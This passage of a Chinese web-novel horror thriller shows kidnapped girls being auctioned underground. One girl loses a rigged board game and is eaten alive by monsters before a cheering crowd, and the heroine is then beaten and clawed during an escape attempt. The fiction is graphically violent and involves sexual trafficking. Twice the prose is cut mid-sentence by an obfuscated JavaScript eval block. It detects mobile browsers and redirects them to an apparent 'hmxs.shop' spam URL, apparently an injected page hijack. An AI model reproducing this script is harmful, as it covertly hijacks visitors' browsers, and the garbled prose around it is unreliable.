女孩的一架飞机已抵达终点,她听着拍卖师被骂得狗血淋头,心中大快,继续掷骰子,连续两次点数均掷在六上,还幸运地走了同颜色的快捷通道,沿虚线飞往另一头并且跳至下一格同颜色的格内,省掉好大一段路程。 她的飞机领先前茅,第四架也激活了。 上方,关在鸟笼里的女孩们目不转睛盯着屏幕上的赛况。 微胖女孩的第二架飞机以同样的神速奔赴终点,第三架畅通无阻,来到冲刺跑道下面。 快点快点,快赢啊。 她们心中激烈地叫喊,为女孩捏了把汗。邓烟雨眼睛一亮,发现拍卖师的两架红飞机迭子了,而女孩最后一架黄飞机虎视眈眈埋伏在后面。 她喜忧参半——如果女孩的飞机走到迭子这一格,等于是同归于尽,不过这样拍卖师也会回到原点,得重新苦熬着掷六。 “啊,撞机了。” 隔壁笼子的女孩轻声叫道,邓烟雨朝大屏幕望去,果然,黄飞机落在了两架重叠的红飞机上,双方一块皆大欢喜退回基地。 “没事,她第三架快到了,面具男的飞机全在基地里,合着玩了半天相当于还没开始,翻不了盘的。” “我们能赢。” 附近两只笼子里的女孩贴近栏杆,忘乎生死地分析着局势,两个人的面庞皆挂着淡淡泪痕。 邓烟雨没法像她们那样调动情绪积极讨论,她心情格外沉重,连说话的力气也没有,观望着一边倒的赛况,不知为何隐隐不安起来。 51. 猎杀 “妹妹,求你高抬贵手吧。” 小巧玲珑的骰子在棋盘上一滚,六个点朝天定格,拍卖师叹了声气,蝴蝶面具也遮盖不住他满脸的沮丧。 女孩良心上有些过不去,抿唇看向骰子,六点,正好可以帮她走完第三架。 她两边比较一番,一时纠结了,不知道是先让第三架赢得胜利,还是激活回到基地里的第四架。 买女孩赢的美食家乐翻天了,这会儿心旷神怡地欢笑着,抚掌的抚掌,举酒的举酒,扔花的扔花,上百个美男起身离席,为女孩高声鼓舞。 “又掷了个六?太漂亮了,你绝对能赢。” “真厉害,把飞机统统开出来,玩死那个骚包。” 骚包调整一下束紧的深紫领口巾,微笑扶额,即将气晕过去,身后毕恭毕敬的男仆居然说话了:“需要为您擦汗吗?” “……”拍卖师,“死一边去!” 为女孩捧场助威的美食家各个衣冠齐楚,仪表轩昂,面具下露出半挺的鼻梁与浅浅弯起的薄唇,足以体现尊容优雅。 他们有一把蛊惑人心的嗓音,女孩斟酌片刻,听取了他们的意见,先激活了第四架飞机。 于是,原本明朗的局势像笔直前进的火车突然被扳动道岔,误入幽轨,产生了细微的变化—— 她慢慢发现,自己再也掷不到六,点数在一和三之间拉扯徘徊,有好几次都是一,她的第三架飞机久久止步于冲刺跑道外。 “为什么……”女孩不解地喃喃,难道是之前过于一帆风顺了? 盛极必衰,她认为是暂时的背运,没当回事,觑了眼拍卖师,对面已成功激活两架,自顾自飞得不亦乐乎。 “没事没事,”美男们安慰女孩,“你甩他八百个来回带拐弯,咱不慌。” 受到鼓励,女孩稳住心神,重燃斗志专心扔骰子,没多久就扔出一背汗,她亲眼目睹拍卖师的两架飞机一前一后来到冲刺跑道下。 怎么会这样。 由于一开始就占据上风,导致女孩眼下处于劣势,多少有些心理不平衡。她明显感觉到拍卖师掷六的次数逐渐增多。 分她一个六不行吗,只要一个就好,让她完成第三架的胜利。 女孩握紧亮晶晶的红骰子,瞅准六的朝向,往棋盘上轻轻一抛,定格的点数是四。她急躁地咬住唇,后悔刚才做出激活第四架的决定了。 没办法,先走第四架吧,横竖都是自己的棋子。 又过去十分钟,女孩虽退而求其次,但并没有调整好心态,她的第四架飞机命途多舛,吭哧吭哧龟速爬了半天,在接近冲刺跑道时,被拍卖师后来居上的红飞机狠狠一踩,逐回基地。 风水轮流转。 这下女孩可算是慌了。 “亲爱的,别只顾着掷六啊,”拍卖师渐入佳境,惬意地笑道,“你掷的那几个一,足够你让第三颗棋子蹭到终点了,你看看,光在第四颗棋子上耗劲,被我踩了吧。” 女孩没理他,抖着手掷了个二,让自己仅剩的飞机赶紧钻进跑道里,免得被拍卖师再踩棋。 现场早已安静许久,各怀心思地笑着。喝醉的美食家兴致高涨,原想拉着自己的女郎去办事,但他要等这场游戏出个满意的结果。 女孩呼吸急促,掌心也攥出了汗,她眼睁睁看着拍卖师的第三架飞机进入冲刺跑道,第四架也走了大半路程。 太快了,他不停地在掷六,跳子,走捷径,成功追上她的节奏—— 乃至赶超。 为什么会这样。 邓烟雨看得脖子发酸,大屏幕只显示棋盘上的战况,她准备另辟蹊径,从铁笼的栏杆间往下俯瞰。 终于,女孩在紧要关头发了力,再次激活第四架飞机,势不可挡杀出一条血路,直奔终点去,拍卖师仿佛就等着她这股劲,乘胜追击,不远不近咬在她屁股后头,女孩充血的眼睛不断去瞄,嗓子干渴得冒烟。 拍卖师活动活动筋骨,跟男仆招手:“给她倒杯水。” 她喝不下,她把全部精力压在这盘游戏上——所有飞机进入冲刺跑道,却无论如何也飞不到终点,要么点数多了,退回一格,要么少了,就差一格。 拜托,别搞我了。 女孩的背绷成一张弓。 她要赢,必须要赢。 她要回家,她想爸爸妈妈了,想吃外婆煮的红豆饭,她发誓再也不和他们吵架,再也不闹着离家出走,男朋友立刻分手,她会好好听家里人的话—— 让我回家吧! 女孩泪眼朦胧地砸着骰子,她已经不明白自己为何会在这里,和这群怪物玩游戏,唾手可得的胜利一分一秒离她远去,她快抓狂了。 邓烟雨的角度拥有上帝视觉,良好的视力使她清清楚楚看见拍卖师的左手没放上来,一直藏在桌下。 作弊?他在作弊吗? 邓烟雨无法确定,转头叫了前面笼子在发呆的女生往下看。这个女生年纪略长一些,眼睛也尖,她观察半晌,摇头说:“我们太高了,看不清楚,他只是把手放在桌底下,但搞不搞小动作……这点很难评。” 女生对邓烟雨说:“你千万别喊出来,就当没看见吧。” 邓烟雨一愣:“那如果她因为对方作弊而输掉呢?” “我感觉,他们从一开始就没想要她赢,”女生表情严肃,“反正等她输了看看她什么下场吧,我们也好有个对策自保。” 听她这么说,邓烟雨震惊地张大嘴,大脑已运转不过来。 此时双方在棋盘上各余两架飞机,拍卖师的第三架飞机离终点只差五步。看台上的男人们含笑不语,香槟依旧,发觉女孩撑不住了,立马送上几句无下限的柔情蜜话,吊着她一口气。 骰子在水晶灯折射的光泽下滚动,滚出了个五。 “哇哦,”拍卖师掩唇轻笑,“什么情况,我反超啦?” 女孩埋头喘息着,她的两架飞机在冲刺跑道上折腾了千百遍,停在离终点两格近的地方。 局势尚可逆转。 “我不要玩了,”她心力交瘁地扯头发,情绪崩溃,“放我出去。” “放我出去!” “你赢了,我们就放你走。” 女孩拼命摇头:“求求你了。” “继续玩,”拍卖师狭长的双眸弯如月牙,“你就差一点点了。” 女孩掷了个六,走到终点又倒退了四步,她浑浑噩噩地玩着,机械地重复前进倒退的动作,不知过了多久,看台上爆出浪高的欢叫,她如梦初醒,定睛一瞧棋盘,鲜红的四架敌机已尽数抵达终点。 游戏结束,女孩输了,她最后一架飞机停滞在终点下方一格。 终于输了,终于……结束了。 女孩离开座位,没走出一步,就摔在椅子边上。 “你赢了,我们会答应你一个要求,”拍卖师叫男仆撤走道具,含情脉脉斜睨着地上的人,吐露字句,“同样,你输了,也要接受相应的惩罚。” 女孩瘫坐在地,本能地向后挪了挪:“什、什么惩罚?” 全场蠢蠢欲动地起立,每张面具下的脸笑得餍足,拍卖师也笑,打了个清脆响指,包围场地的数扇拱门轰声拽起铁锁,里头走出一只只蓬头垢面的怪物。 它们衣不蔽体,皮下肋骨根根暴突,如行尸走肉缓慢前行,直到被脖颈套着的锁链勒住,不满地低吼了声,其中一只被开了一枪,伴随着吃痛的嚎叫,笼子里的女孩们也吓得尖叫。 “他、他们有枪!” “哪里在开枪!不要啊!好可怕!” 输了游戏的女孩吓得面如死人,她被一个红点瞄准了,东闻西嗅的怪物们齐齐朝女孩的方向转去头颅,披散的乱发下射出两道毛骨悚然的绿光。 邓烟雨难以置信地站起来。 每一只都是绿眼睛。 这不是他们的同类吗?为何会变成这样? 镜头熟练地扫拍切换着,飞速运动,邓烟雨半眯眼,所有怪物的脖子上都刻着一串漆黑文字—— ce-124,ce-407,ce-599,ce-700…… 她惊惧地吞咽,脸色惨淡。 这些数字,不会代表了它们的数量吧? 下方徘徊着密集的怪群,鸟笼里的女孩缩在角落瑟瑟发抖,有的闭着眼一个劲祈祷,拍卖师抬手,吩咐落网,隐藏在天花板的机关应声扭转,在一顿咔咔暴躁的声响里,一张铁制巨网从高处放下,把鸟笼也关在了里面。 “限时三分钟,你能撑到活下来,放你走。”男仆冷漠启口,告诉她规则。 “什么?”女孩吓得魂不附体,死死抓住拍卖师的腿,“不要,不要啊,我不行的,能不能换个惩罚!” “亲爱的,这可不是你说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579304|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算。”拍卖师温柔掰开她的手,转身便走。 “我求求你了!”女孩摔了一跤,连滚带爬冲上前,被罩下的铁网弹开。 “放我走啊!”铜墙铁壁把她隔在生的另一头,她歇斯底里地大叫,回头看着怪物从对面有序放进来,女孩丧失了理智,嘭嘭拍打铁网,“你拍卖我吧,拍卖我!我不想被它们吃掉,求求你求求你——” 她拧歪了拇指粗的铁丝,拍卖师没想到她力气如此大,握住她手腕。 女孩也握回去,满腔希望倾注在他身上,面颊淌着水渍,眼中闪烁着乞求的光芒,疯狂暗示他:“你让我做什么,我都可以,让我做什么都可以!我什么都会,什么都能做!” 拍卖师并不说话,怜惜地摸了她的手背,把她往里一推。 女孩摔在尘土里,仰起头,摇晃的视野里出现瘦骨嶙峋的脚背,污黑的脚指甲勾如鹰嘴。 拍卖师踩上台子,扬开双臂,声震天地:“娱乐至上!” 全场爆喊:“娱乐至上!!!” “格鲁美万岁!” “格鲁美万岁!!!” 怪物们如获召唤,亢奋地举臂攥拳,引颈狂嗥,发出激昂的嘶吼。 下一刻,它们冲向女孩。 “啊啊啊啊啊啊————” 女孩撕心裂肺地尖叫,爬起来赤脚逃窜,眼泪飙在了身后:“爸爸!爸爸救我!!” “救命!救命啊啊啊啊呃呃呃——” 一只怪物箭步扑上去,森白獠牙咬住她的后颈,鲜血噗地狂喷一脸,无数只疯涌而上,把她压在身下,抓住手臂,大腿,各个部位,开始奋力撕扯。 “孩子们,冲啊!” “吃了她!吃了她!!” “407!别停下!咬断她的腿,妈妈就奖励你一块婴儿肉!” 追逐赛登时打响,掌声雷鸣,喝彩掀天,女人们摇着扇子激情指挥,男人们举着酒杯吹出口哨,面具下的嘴巴叫得热血沸腾,冲在看台最前方的小年轻抓着大把绿油油的钞票振臂呐喊,吼出了满脖青筋。 邓烟雨跪倒在地,额头贴着冰冷的笼底,抖如枯叶。她想捂住耳朵,可双手绑死在背后,她只能听着女孩被活生生大卸八块时的惨叫。 很快,惨叫声被吞噬了,怪物呼哧着热气,一口一口争先恐后啃咬骨肉,抢夺肢体发出的撕裂声断断续续传上来。 “不……要……再……”邓烟雨恶心得痉挛,胃里的东西拱上食管,喉咙涌上一阵热意,刚要发作,就听旁边拖得长长的一声:“呕——!” 周围的女孩比她先吐了,浓稠的液体从她们口中肆无忌惮呕出来,她们的胃袋绞尽了一切,吐得上气不接下气,最后昏倒在笼子里。 “放我……回家……” “让我……回家……” 瑰丽绚烂的灯光照耀着她们,周遭飘来虚弱沙哑的恳求。 邓烟雨终究难忍生理上的反应,吐了一地,汗湿的发丝搭在眼前,恍惚地望向水晶灯纯净的光华,喊出唯一能支撑住她的名字:“公冶警官……” “你在哪……” 你是不是找不到我? 我真的要死在这里了吗? 再也见不到爸爸妈妈,再也见不到你。 邓烟雨长时间盯着曼陀罗水晶灯,花苞里的灯珠日积月累绽放金光,把厚玻璃烤出一丝轻细的裂痕。 她呆滞地凝望片刻,失焦的眼神逐渐聚拢了光芒,重新拾起求生的意志。 不,不能放弃。 她要离开这里,绝对不能放弃。 “喂,上面的都吐了。”金笼里的红裙女孩伸了个懒腰,食指绕着耳边的头发丝,脸庞浮出淡淡的厌恶。 “嗯,让‘蝴蝶’带下去清洗吧。” “我也要休息。”红裙女孩说。 美食家叫人来解锁,她走出金笼,捂了捂鼻子。 “各位,不好意思,”铁网重声收起,拍卖师叫人清理场地,歉疚道,“个别拍品需要清洗,我们将中场休息半小时。” 鸟笼依次放落。邓烟雨甩开男仆的搀扶,勉强站直腿,走出笼子。怪物被抽回拱门里了,场地上只剩一摊新鲜血迹。 邓烟雨和几个女孩排队往场外去,脸色苍白,冷静得不像个人。 这是个好机会—— 就赌这一次,她拼死,也要逃出去。 52. 制裁 离开角斗场,她们走进一条幽深的通道。空气充斥着阴凉,女郎和男仆在前方引路,分别领了一批女孩,坐上古董味十足的老式电梯。 往上乘了数层,栅栏门拉开,包括邓烟雨在内的八个女孩跟随女郎出来。 安静的长廊笔直延伸,女郎脚上可充当凶器的细高跟踩踩在地毯上,没有半点声音。她让女孩们进入一间套房。 “给她们解开。”女郎吩咐门口看守的保镖。 身后的皮铐解锁,众人如获大赦地缓了口气,轻揉手腕。邓烟雨看了看腕部缚出的红痕。 “我手上的表呢,”邓烟雨抬起手腕,“它对我非常重要,麻烦还给我。” 女郎微笑:“随身物品皆保管在更衣室,晚宴结束,我会带各位取回。” 众人不语。 她们还有命活到晚宴结束么? 和女郎淡淡对峙一眼,邓烟雨别过脸,往沙发上一坐,环顾四周。 这地方的陈设珠光宝气,开放式厨房边上摆着夸张的大理石长餐桌,鲜花刀叉晶莹剔透地静搁于位,酒杯倒挂,也不知是给哪号人物用的。 其他女孩相继坐过来,三三两两靠着彼此慰藉“取暖”,少数女孩身体不适只想站着。邓烟雨起身,像旅游观光来了,大小主次各个房间溜达了一遍。 “淋浴在尽头左拐,换洗衣物放在靠墙柜子,”女郎双手交叠腹前,面不改色等邓烟雨逛回来,很是贤惠地说,“给你们三十分钟,请尽快。” 她可不愿强摁牛头喝水,之前发生过拍品不堪受辱自杀的情况,负责看管该拍品的女郎受到了不小的责罚,所以她耐着性子,等小宝贝们自行动作。 大家面面相觑不知所措,站在最边上的女孩吐了一身,捂着胃,被女郎不愠不火的眼神一催,只好硬着头皮去淋浴间洗了。 门一关,女郎气息重归柔和,转身欲走,邓烟雨叫住她:“我要上厕所,憋好久了。” 女郎说:“这里有洗手间。” 邓烟雨:“人家在洗澡了,我怎么进去?” 女郎:“没那么多讲究,你去上吧。” 邓烟雨:“别人没讲究,我有,我神经过敏外加洁癖,不喜欢上厕所的时候旁边站着个人洗澡,你们这儿那么大,外面就没有公共洗手间吗?” 大门敞开着,门口两道顶天的魁梧黑影恍若未闻。 女郎妖娆面具下的绿眼细细盯视她,随后说:“你跟我来。” 邓烟雨在其他人的注视下,举止泰然跟着女郎离开了房间。 待在房间也无济于事。她前面检查了一圈,连新风系统的开关都找着了,愣是不见一扇窗户,便确定这里仍处于地下。 女郎步伐略快,邓烟雨紧随其后,悄悄回头观察,两名保镖目视前方不曾望过来,长廊尽头的电梯没在使用。 “你进去吧。”女郎指向装修高级的洗手间,看样子要在门口等,邓烟雨朝她点头,进去时瞥了旁边一眼,再过去就是楼梯了。 里面熏着五星级酒店香,瓷砖墙干净反光,邓烟雨用冷水洗了脸,看向镜子里满是疲态的脸,她一夜之间消瘦了,眼神暗淡,头发乱糟糟地坠着水。 排气扇制造出轻微绵长的白噪音,时间一点一滴流逝。 好困,现在几点了? 邓烟雨撑住宽大的洗手池,目光呆滞,觉得自己不是神经敏感,而是神经衰弱了,她倦怠的身体渴望获得一丁点松懈的时间,大脑却拉响警报,一遍遍反复告诫着不许睡,想办法,逃出去。 她用力拍了拍脸,转身进了隔间,翻下盖子坐马桶上,绞尽脑汁地思考。 前面在电梯轿厢内,她被高个子女生挤得完全看不到按键,只听见女郎刷了卡,目前所在楼层她并不清楚,而那部电梯是否直达地面,也是个谜。 但它是邓烟雨目前逃出去的最大希望了。 她要偷到梯控卡,乘电梯去最上面。 “哗啦——” 隔间响起冲水声,把她一脑袋缜密的思维冲散架。 邓烟雨整个人弹射而起。 隔壁的门打开,有人走出去洗手,挤了一泵洗手液,慢条斯理揉搓完毕,唰唰冲掉了泡沫。 怎么有人在?! 一点声音也没有! …… 唉,都什么时候了,没必要继续躲着装空气。 邓烟雨拨开锁扣,推门出去,一个身材窈窕的女孩站在圆镜前打理自己精致的盘发,娇艳如红玫瑰的裙摆拖曳出层层叠叠的弧度与质感,脚踝纤细,凝着白皙的光泽。 圆镜里,那张漫不经心的脸仿佛在告知某人离我远点。 是关在金笼里的女孩。 邓烟雨小步上前,张了张嘴,说:“你好?” 女孩拨弄着刘海,卷翘的睫毛一丝未颤,态度傲慢,不予理会。 邓烟雨以为是打招呼的方式不对,换了个绅士的腔调:“晚上好,请问你怎么称呼呀?”见她不答,邓烟雨厚着脸皮再问,“我看你身份不一般,关在金色笼子里,穿的也比我们好,你和这的美食家很熟吗?” 女孩拨头发的速度加快了点。 “你好厉害,那些美食家对你有求必应,你要出来他们就放你出来,也不派人跟着,你怎么做到的?” 女孩从化妆包里找出一支口红,举手投足透着鄙夷的味道。 邓烟雨眨了眨眸,惊讶道:“原来你是哑巴啊?” 口红金属盖在她手心捏紧,女孩终于偏过头,说:“找死么?” 邓烟雨在她恶狠狠的凶相上找到了点似曾相识的影子,和之前角斗场里挥臂狂喊的美食家重叠了起来。 “你说得没错,反正我快死了,”邓烟雨耸肩,“找你问点八卦,也好死得其所。” “滚,少招惹我。”女孩态度十分恶劣,不屑地低骂着,涂起了口红,邓烟雨静静看着她把唇膏贴上嘴唇,忽然伸手使劲一扯。 “啊!” 哑光红的线条在女孩嘴角重重劈了个叉,划至脸颊。 女孩瞪着镜子里鲜艳又滑稽的脸,怒不可遏当场摔烂了口红,张着血唇大声质问:“你有没有礼貌啊?!” “没有,”邓烟雨如实奉告,“不止没有礼貌,我还没有素质和教养。” 女孩:“……” 邓烟雨:“现在可以回答我的问题了吗?” “我有义务回答你么?”女孩反唇相讥。 “没有,是我在求你,确实手法急躁了些,”邓烟雨笑眯眯地扮乖,“你人那么好,多担待些嘛。” 女孩没好气地斜她一眼。 “对不起,我这就赔罪,”在女孩错愕的目光下,邓烟雨堂而皇之从她的化妆包里翻出化妆棉,讨好地浸了水递给她擦,“我叫邓烟雨,你呢?” 女孩打量这狠角色敷衍不了,自认倒霉,豪不客气夺过化妆棉,翻个白眼转向镜子:“温茉,温暖的温,茉莉花的茉。” “你名字好好听啊。” “哦。” 邓烟雨靠近她,压低声:“你知道这什么地方吗?” “卡萨古城边上的卡萨游乐园,我们在游乐园下面。” 邓烟雨反应几秒,说:“我们在狮城?” “对。” “可是好多女孩都在病墟县失踪。” 温茉擦完嘴角,慢悠悠地瞥她:“你不是本地人?” “我是。” 似乎对这个答案甚感意外,温茉好整以暇地抱臂,琢磨了会儿,拖腔拉调噢了一声:“爹妈一手呵护出来的小公主?” 邓烟雨心知她在讥讽自己,没辩驳:“我在歌华读书,确实不清楚灯港最近发生了什么。” 温茉不说话了,眼神锥子似的,盯了她好一会儿。 “不是最近,这活动举办三年了,”温茉声音冷漠,“你不知情最好,这里头各路神仙打架,凑上去就是一死,有这闲工夫打听不如赶紧写封遗书,碰上个好心的买主还会帮你送出去。” 邓烟雨没说话。 “怎么,不开心了啊?也是,左不过在你眼里,我们这些人干的全是见得不光的勾当。” 邓烟雨:“我没这样想。” “谁管你怎样想,要不是生活所迫,我们会傻子似的掉陷阱里?”温茉回想起当初成为拍品的自己,眼底划过一抹不甘,“病墟县如今蛰伏了多少黑户美食家,给他们睡一晚能赚多少,你知道吗?” 邓烟雨闻言,轻轻抽气。 “没错,美食家的老巢在病墟县,警方地毯式搜索并非一无所获,而正是被‘黑户美’庞大的数量震惊到无法再深入调查。” “灯港商会副会长,是卡萨集团的大老板,没他的支持,美食家不敢在景区下面这般造次,灯港警方即便没有和他们沆瀣一气,也无权再干涉,最多纸上谈兵做做表面功夫。” “樽丹分所的公美呢,”邓烟雨问,“公美也不管?” “什么?公美?你别笑死我了,”温茉叉住腰,笑得肩颤,接着倾身缓缓逼近邓烟雨,“我若是告诉你,公美也来这里消费呢?” 邓烟雨:“……” “樽丹分所,区区两名公美,和上万个‘黑户美’对抗?你要他们怎么秉公执法?还不如两眼一闭和大家一块醉生梦死去。打不过就加入,这么简单的道理你不会不懂吧?”温茉抿了个咬唇妆,“哦对了,公美不拘等级,身份一上来就很高贵,算半个食主了,以你的身量怕是一晚也接待不了。” “食主是什么?” “你连这都不懂?”温茉无语地扬手,“在咱们这,‘大食主’指代的是顶级美食家,我们对顶美的雅称,‘食爷儿’‘食姐儿’便是方才看台上那些穿红着绿的花孔雀们,你们刚来的品级低,也就只有伺候食爷儿的份。” 邓烟雨掌心握出汗:“你还做身体交易?” “做身体交易的是你们,”温茉疾言厉色地纠正,“我是金丝雀,看得上哪个才陪他睡,除了大食主和公美,谁都休想碰我。” “你脑子短路了吗?!这是值得引以为傲的事情吗?!”邓烟雨忍无可忍上前抓住她,“他们迟早会吃了你,你就没想过逃出这里吗!” 温茉奋力推开了她,力气殊大,邓烟雨被推得一个趔趄。 温茉冷眼瞧着:“小公主,在歌华读书、交朋友,你很快乐吧?你可知我过的什么日子?” “我有个弟弟,生得白白胖胖,全家人都欢迎他的到来,可我只希望他当初脐带绕颈勒死在娘胎里。” “我的成绩足够考一本了,我特别向往大城市,想看看歌华的紫露草盛开时有多美,可家里人连职校也不让我上,就因为我是女儿,我妈把我的高考志愿丢进了烧饭的土灶里,要我高中念完就去打工,给我弟弟挣学费,挣结婚的钱,挣买房子的钱,要我为他们一家子鞠躬尽瘁地服务。” “我呢。” “我算什么?!” 温茉咆哮得眼眶渐红。 “我卖给美食家,比卖给他们快活一百倍!我就是要告诉他们,离了我,他们的宝贝儿子一无是处!他们一辈子也别想从我身上扒到一分钱!我在这好吃好喝,一堆男人供着我,我活得光鲜亮丽!我比谁都幸福!” “谁,都别想,控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579305|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制我。” 香薰麻痹了嗅觉,排气扇还在嗡嗡作响。 邓烟雨恍然摇头:“你可以有更好的生活……” “如果家庭成了你的负担,你有权利不顾一切离开他们,去寻找你所期盼的人生,而不是跌进第二个泥泞的沼泽。” 温茉垂落视线,看向她腰间号码,拉上化妆包的拉链,冷笑:“邓烟雨,你今晚就要死了,你连自己的命运都无法掌握,凭什么来说教我?” 她转身,头也不回地走了。 女郎在门口等得极不耐烦,上大号也没见这么慢的,一转头看见温茉,她仓促地问候了一声。 温茉冷淡道:“人在里面。” 女郎愣了愣,不等温茉走远,立刻冲进厕所。邓烟雨怅然若失靠在墙角,抬头撞见女郎大步闯进来,有点反应不及。 “我……” 不等她开口,女郎凶狠地扯了邓烟雨的肩,往外拖。 “啊疼!等下,你干嘛,我还没上厕——” “来人,”女郎对着耳麦里汇报,“58号拍品要逃跑,申请单独看管。” 邓烟雨慌了:“我没有要逃跑,你别乱说……别抓我!” “老实点!”女郎一早看出这孩子不安分,总算给她逮着制裁的机会了,她拽着邓烟雨来到长廊上,正好遇到乘电梯上来的两名男仆。 他们打着哈欠,心烦地挠头走过来:“姐你行行好吧,我俩昨晚伺候了一个胃口大的食姐儿,一宿呢,一宿你懂不懂?” 邓烟雨在女郎手里挣扎叫唤,粉色长发的男仆吹了声口哨,新奇地说:“哎哟,这只凶得怪可爱啊。” 女郎手一抛:“给她换套衣服,丢笼子里,告诉‘蝴蝶’,今晚除了拍卖和游戏,不准再放她出来。” “不用这么麻烦吧,”男仆接了个满怀,捏了捏邓烟雨的脸蛋,笑道,“她真嫩,拿来玩游戏太浪费了,直接提给食爷享用不好么?” 邓烟雨鸡皮疙瘩竖起:“我都说了我没有要逃跑,你们听不懂人话吗!” 啪! 一记耳光炸响,邓烟雨挨了巴掌,头发被扇得扬起。 “小东西,再跟老子吼一句试试?”粉发男仆暴青筋的手提着她的衣领,轻薄的衣料几乎要嘶啦一声扯破。 邓烟雨感受着面部的肿胀火辣,呆了几秒,强压的怒火轰地爆发,毫不手软抓住男仆的面具,手指头往那两个洞里一戳! “啊啊啊卧槽!疼疼疼——我的眼睛啊啊啊!!!” 邓烟雨像只发了疯要和敌人同归于尽的小野兽,暴躁乱抓,死命抠着男仆的眼睛,抠得男仆龇牙咧嘴连连后退。 “放手啊!妈的!!”男仆什么也顾不得了,飞起一脚踹开邓烟雨,捂着脸破口大骂,女郎惊叫道:“这是拍品!你在干什么!” 邓烟雨的肚子如遭石碾,旧伤险些被男仆踢得崩开,她咝着气,扶墙稍微走了几步,痛得蜷缩跪倒。 脑袋边像围了一群乱叫的蜜蜂,趁女郎发脾气冲同事大吼,邓烟雨不顾疼痛一下子撑地跃起,把背对自己的女郎狠狠推倒在地。 “啊呀——”女郎穿着高跟鞋,一个不稳就真的不稳了,整个人扑倒在厚地毯上,邓烟雨摸出她裙子口袋里的梯控卡,往电梯狂奔。 “你们……你们没睡醒吗?!给我拦住她啊!!”女郎承担不起拍品跑丢的罪责,捶着地,尖锐大叫,套房门口的保镖闻声来了一个,人高马大严实地挡在通道上,张开双臂要堵住邓烟雨的去路。 邓烟雨全力奔跑着,收不住劲,瞪大眼睛惊喊了声:“大食主!” 这三个字放在哪都是有分量的,保镖果然出现短暂的愣神,但没回头,邓烟雨没错过这一秒的空隙,咬着牙从他的胯|下钻了过去。 太耻辱了,可为了活命,她不得不钻。 保镖显然没料到她会走“这里”的捷径,想去抓她,又怕踩着她,学芭蕾舞似的踮脚跳了一下,刚要伸手,居然和后面急追上来的男仆撞了个四仰八叉,三个人各自捂着头嘶哈呼气。 女郎一瘸一拐跑来,见了这场面,气得快要与世长辞了:“你们怎么不索性撞死算了?!” 那两名男仆被骂得颜面无存,火气值已爆表,獠牙和指甲全露了出来,他们拔腿大跨步冲上去,这次抓住了她的头发,死拉硬拽给拖了回来。粉发男仆情绪过激,锋利的指甲没控住,划伤了邓烟雨的胳膊。 鲜血顷刻染透衣袖。 “你娘的,再逃啊……”粉发喘息不断,“老子今天心情本来就不好,你偏挑这个日子作死,真不怕我咬死你?” 见邓烟雨流血,他没有丝毫收手之意,反而变本加厉,让指甲刺进去,扎入深处。温热的血液包裹着利爪,他尝到了销魂的滋味,一块鲜嫩紧致的肉正在自己手里痛得活蹦乱跳。 邓烟雨惨叫,推不开他,膝盖一软,浑身颤栗跪了下去,只感觉左臂在冒出很热很猛的东西。 “你悠着点,”另一个男仆皱了眉,“拍品不能受太严重的伤,食爷们不喜欢残次品。” “说,”粉发男仆一把揪起邓烟雨的头发,逼她仰高了头,“说你错了。” 邓烟雨哽咽着,咬紧牙关,她的手臂被男仆扭起,鲜血如注,流向肩胛。 “不想断胳膊就说。” “说啊。” “说你错了!” 兴奋、邪恶、狰狞的笑声盘旋头顶,尖刃般的指甲还在往皮下寸寸深入,邓烟雨痛得神志不清,掌心还紧紧握着梯控卡,骤然间,周围传来惊呼。 对方松了手,邓烟雨往地上倒去之际,被一个人捞住了。 53. 耳钉 “盛先生。” 先响起的是女郎哆嗦的声音,被踹翻在地的男仆闻言脸色剧变,面具歪了也没时间调整,刻不容缓爬起来,恭敬欠身:“大食主……” 邓烟雨下意识攀住对方,触碰到肌肉虬结的臂膀,心慌地回过头,一面坚硬的胸膛近在眼前,难掩暴戾之气。 她整个人吓得凝固住了。 男人身穿一套香槟色西装,内搭白衬衫,腕部扣着纯手工的红宝石袖钉,绅士有余地捞着她。这身衣冠楚楚的形象中和了他骨子里积压的狠厉,再往上,是被镂空金色假面遮挡的脸,淡而不掀的唇角下方有颗痣。 他贵为顶美,一贯慑人镇场的气息把控得适宜,身上散漫地携带着一种烟雾缭绕的香气,不曾让人感到胆寒。邓烟雨偷偷抬起视线,发现他水绿的眼睛正望下来,不冷不热,讳莫如深。 “来个人提着。”眼看小姑娘的血要染脏自己,盛夺轻扯嘴角,知会了后头待命的男仆,其中一个走上前,接过邓烟雨。 邓烟雨本能地瑟缩了一下,嗅到那人衣服上的淡香,她三番五次想要呕吐的欲望当即减缓许多。 “玩得很愉快啊,”盛夺整理袖口,看表,语气慵懒地评价,“是我扰了你们兴致。” 在场的人畏惧地垂着头,噤若寒蝉,女郎脚肿了,稍有些站不稳,盛夺气定神闲瞧了会儿,问:“疼么?” 女郎直摇头,说不疼。 “下次再出现这种失误,”盛夺倾身,撩起女郎一缕披肩的秀发,耳鬓厮磨地贴着她,说,“你就去烟囱口上飘着吧。” “是,对不起盛先生,请您原谅……”泪水在女郎的眼眶里打转,她不停地道歉,就差跪下。 “还杵那干什么,”盛夺放开人,揉了揉后颈,命令,“带她回去。” 男仆点头,避开邓烟雨的伤口,扶着她往电梯走去,盛夺抽出支烟的工夫想起一件事,喊住了他们:“她手里的玩意儿。” 邓烟雨步履维艰地走着,听盛夺这么说,呼吸一滞,五指拧紧了力道。 